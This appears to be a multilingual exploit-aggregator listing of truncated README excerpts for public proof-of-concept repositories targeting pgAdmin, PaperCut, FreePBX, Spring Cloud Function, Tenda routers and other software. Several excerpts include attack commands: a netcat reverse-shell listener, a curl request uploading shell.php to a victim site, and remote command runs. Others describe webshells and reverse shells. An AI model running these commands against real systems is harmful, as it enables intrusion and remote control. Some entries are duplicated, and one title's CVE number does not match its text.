unrealircd3.2.8.1-local-exploit

已在 Metasploitable 3 上测试 用法 Ruby 在攻击者的 shell 上 root@kitploit: nc -nlvp 1111 在受害者的 shell 上 root@kitploit: ruby exploit.rb 127.0.0.1 攻击者 shell 上的预期输出 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 在受害者的 shell 上 root@kitploit:...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — pgAdmin 4 中的严重 RCE 漏洞 🚨 问题是什么？ pgAdmin 4 版本 ≤ 9.9 中存在一个远程代码执行（RCE）漏洞。 当 pgAdmin 以 服务器模式运行并在还原过程中处理 PLAIN 格式的 SQL 转储 时，攻击者可以在主机上执行任意命令 。 ⚙️ 技术详解 📡 攻击向量 基于网络 — 可在远程利用 🌍 低复杂度 — 易于触发 🧩 所需权限低 — 有限的用户权限即可 🔑 无需用户交互 — 一旦触发，无需任何人点击任何内容 🙅‍♂️ 影响范围：已改变 — 危害可能扩散到易受攻击的模块之外 🔄 🧨 影响 机密性：高 —...

CVE-2023-27350

PaperCut NG/MG リモートコード実行 CVE-2023-27350 CVE-2023-27350 向けの効率的な Bash エクスプロイトです。このスクリプトは、PaperCut プリンタースクリプトエンジンを介して、認証バイパス、環境準備、コマンドインジェクションを自動化します。 ビジュアル証明 基本 RCE: リバースシェルのトリガー: クイックスタート root@kitploit: Clone the repository git clone https://github.com/dezso-dfield/CVE-2023-27350.git Enter the...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 用于缓解 CVE-2023-36884 漏洞的临时解决方案。 此漏洞影响 Windows 操作系统，可能允许远程执行恶意代码。 CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 漏洞是一个严重的安全缺陷，可能导致 Windows 系统上的远程代码执行。微软尚未发布更新来修复此问题。然而，他们指导创建一些注册表项来规避该问题，直到提供最终解决方案为止。 解决方案 - Fix-CVE-2023-36884.ps1 我们，来自...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" 详情 漏洞存在于 FlexQrCodeGenerator 类的 updateqrcode 方法中。该插件为未认证用户注册了 AJAX...

CVE-2023-32571

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core リモートコード実行 CVE-2023-32571 の Proof of Concept です。System.Linq.Dynamic.Core 1.0.7.10 から 1.2.25 におけるリモートコード実行の脆弱性です。この脆弱性により、Where、Select、OrderBy などのメソッドに信頼できない入力が解析された場合、攻撃者は任意のコードやコマンドを実行できます。 ⚠️ 免責事項 このツールは 教育および許可されたテスト目的のみ...

CVE-2024-7591-PoC

CVE-2024-7591-PoC 这些 PoC Python 脚本用于测试 Kemp LoadMaster 是否存在远程代码执行漏洞。 此工具仅供测试用途。 这些脚本基于 Marius Walter 关于此漏洞细节的文章。您可以阅读他们的文章： https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/ 这是一个 python3 脚本，用于测试 LoadMaster 是否存在 CVE-2024-7591...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...

CVE-2026-83549

CVE-2026-83549 is a post-authentication OS Command Injection (CWE-78) in the SonicWall SMA1000 Appliance Management Console (AMC) , scored CVSS 7.8 (High) with a local attack vector. In specific conditions, a remote authenticated attacker with administrator privileges can execute arbitrary OS com...

CVE-2026-84374

Laravel Excel (Maatwebsite) versions 3.1.8 through 3.1.70 contain a path-traversal flaw in Maatwebsite\Excel\Files\Disk::copy() (src/Files/Disk.php). The method resolves a caller-controlled $destination passed via Excel::store(), $export->store(), or storeExcel() against the process working di...

CVE-2026-84374 Laravel Excel writes exports outside the configured filesystem disk when given a caller-controlled path

Laravel Excel provides supercharged Excel exports and imports in Laravel. From 3.1.8 until 3.1.70, in src/Files/Disk.php the Maatwebsite\Excel\Files\Disk::copy method resolves the caller-controlled $destination supplied through Excel::store, $export-store, or storeExcel against the process workin...

CVE-2022-44877-RCE

此存储库没有 README。...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: root@kitploit: python3 -m pip install -r requirements.txt 使用方法 単一 : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数 : root@kitploit: pytho...

CVE-2025-1974-PoC-exploit

CVE-2025-1974-PoC-exploit Kubernetes Ingress-nginx 远程代码执行RCEIngressNightmare root@kitploit: ❯ python3 exploit.py http://localhost:8443 "id" ============================================================ CVE-2025-1974 - IngressNightmare Exploit...

tenda-ac8v4-rop

Tenda-Ac8v4-PoC Tenda Ac8v4 通过执行流劫持和多寄存器操作利用，实现从基于栈的溢出到远程代码执行；相关 CVE 为： CVE-2023-33675 CVE-2023-33673 CVE-2023-33672 CVE-2023-33671 CVE-2023-33670 CVE-2023-33669 标记为 N1 - N7 rop.py 确保你在可访问的机器上托管了 tftp；通过 args.attackerhost 指定它； 确保预编译的加载器 rs 托管在 tftp 中； 反向 shell 连接将在脚本内监听。...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function 漏洞 CVE-2022-22963 RCE 这是 Spring4Shell CVE-2022-22963 的 Python 实现，影响运行 Spring Cloud Function =3.1.6（3.1.x 版本）和 =3.2.2（3.2.x 版本）的服务。 结合了多个网上公开的 POC 作者: Randall Banner 日期: 17/04/23 描述: 脚本会在当前目录创建 shell.sh，其中包含一个简单的 bash 反向 shell 单行命令。然后启动一个 Web 服务器，通过 wget 将其提供给受害目标（输出到 /dev/sh...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack Estos son solo algunos scripts que puedes usar para detectar y explotar la vulnerabilidad de Apache Struts CVE-2017-5638 Hay un MassScanner y un Exploiter, puedes usar el escáner para escanear masivamente una lista de URLs y luego explotarlas con el Exploiter. El Exploit...

apache2.4.49VulnerableLabSetup

apache2.4.49VulnerableLabSetup CVE-2021-41773，Apache HTTP 服务器 2.4.49 容易受到路径遍历和远程代码执行攻击。该仓库用于模拟该漏洞。...

CVE-2025-5781

FreePBX CVE-2025-57819 漏洞利用工具 描述 该脚本利用了 FreePBX 16.0.26.0 之前版本中的一个漏洞（CVE-2025-57819），允许远程攻击者通过 AJAX API 端点中的 SQL 注入缺陷执行任意 PHP 代码。该脚本会同时创建 webshell 和自动触发的反向 shell。 漏洞详情 CVE ：CVE-2025-57819 受影响版本 ：FreePBX 16.0.26.0 影响 ：远程代码执行（RCE） 攻击向量 ：AJAX API（/admin/ajax.php）中的 SQL 注入 功能特性 在 /pbxshell.php 创建持久化...